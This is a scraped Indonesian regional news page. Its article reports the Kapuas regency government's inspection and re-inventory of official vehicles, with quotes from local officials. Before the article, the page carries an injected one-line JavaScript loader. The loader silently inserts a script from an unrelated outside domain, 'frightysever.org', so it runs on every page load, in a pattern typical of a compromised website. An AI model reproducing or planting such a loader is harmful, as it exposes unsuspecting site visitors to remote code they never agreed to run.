(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALA KAPUAS – Pemerintah Kabupaten (Pemkab) Kapuas menggelar apel kendaraan dinas di halaman kantor Bupati Kapuas, Senin (13/10/2025) pagi.
Kegiatan ini merupakan bagian dari langkah inventarisasi ulang sekaligus penertiban pemanfaatan aset daerah khususnya kendaraan dinas roda dua dan roda empat.
Apel kendaraan dinas menindaklanjuti Surat Edaran Bupati Kapuas Nomor 100.3.2/2276/BKAD.2024 tentang penggunaan dan pengamanan barang milik daerah.
Langkah ini merespons hasil pemeriksaan Badan Pemeriksa Keuangan (BPK) RI terkait optimalisasi pengelolaan aset milik pemerintah daerah.
Baca juga: Pemkab Kapuas Bentuk Pokja Pendidikan Politik Terpadu
Kepala Bagian Perencanaan dan Keuangan Setda Kapuas, Novrianto Elyanus Wengkau, menjelaskan, kegiatan tersebut bertujuan memastikan seluruh kendaraan dinas tercatat dan digunakan sesuai peruntukannya.
“Selain pendataan ulang, kami juga melakukan pemeriksaan kondisi fisik kendaraan serta penetapan pengguna melalui berita acara serah terima,” ujar Novrianto.
Sekretaris Daerah (Sekda) Kabupaten Kapuas, Usis I Sangkai, yang hadir dalam kegiatan itu, menegaskan pentingnya tanggung jawab setiap Aparatur Sipil Negara (ASN) sebagai pemegang aset daerah. Ia mengingatkan bahwa kendaraan dinas harus digunakan semata-mata untuk kepentingan dinas, bukan pribadi.
“Penertiban administrasi dan pencatatan aset sangat penting. Setiap barang milik daerah yang dibeli dengan APBD harus benar-benar terdata dan digunakan untuk mendukung tugas pelayanan publik,” kata Usis.
Baca juga: Bhayangkari Polda Kalsel Bagikan Paket Sembako untuk 500 Ojol
Sekda Kapuas, Usis I Sangkai juga mendorong agar kegiatan serupa dilakukan oleh seluruh perangkat daerah sebagai upaya membangun budaya tertib administrasi, transparansi, dan akuntabilitas dalam pengelolaan aset di lingkungan Pemerintah Kabupaten Kapuas. (Kanalkalimantan.com/ags)
Reporter: ags
Editor: kk
KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More
Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More
KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More
KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More
This website uses cookies.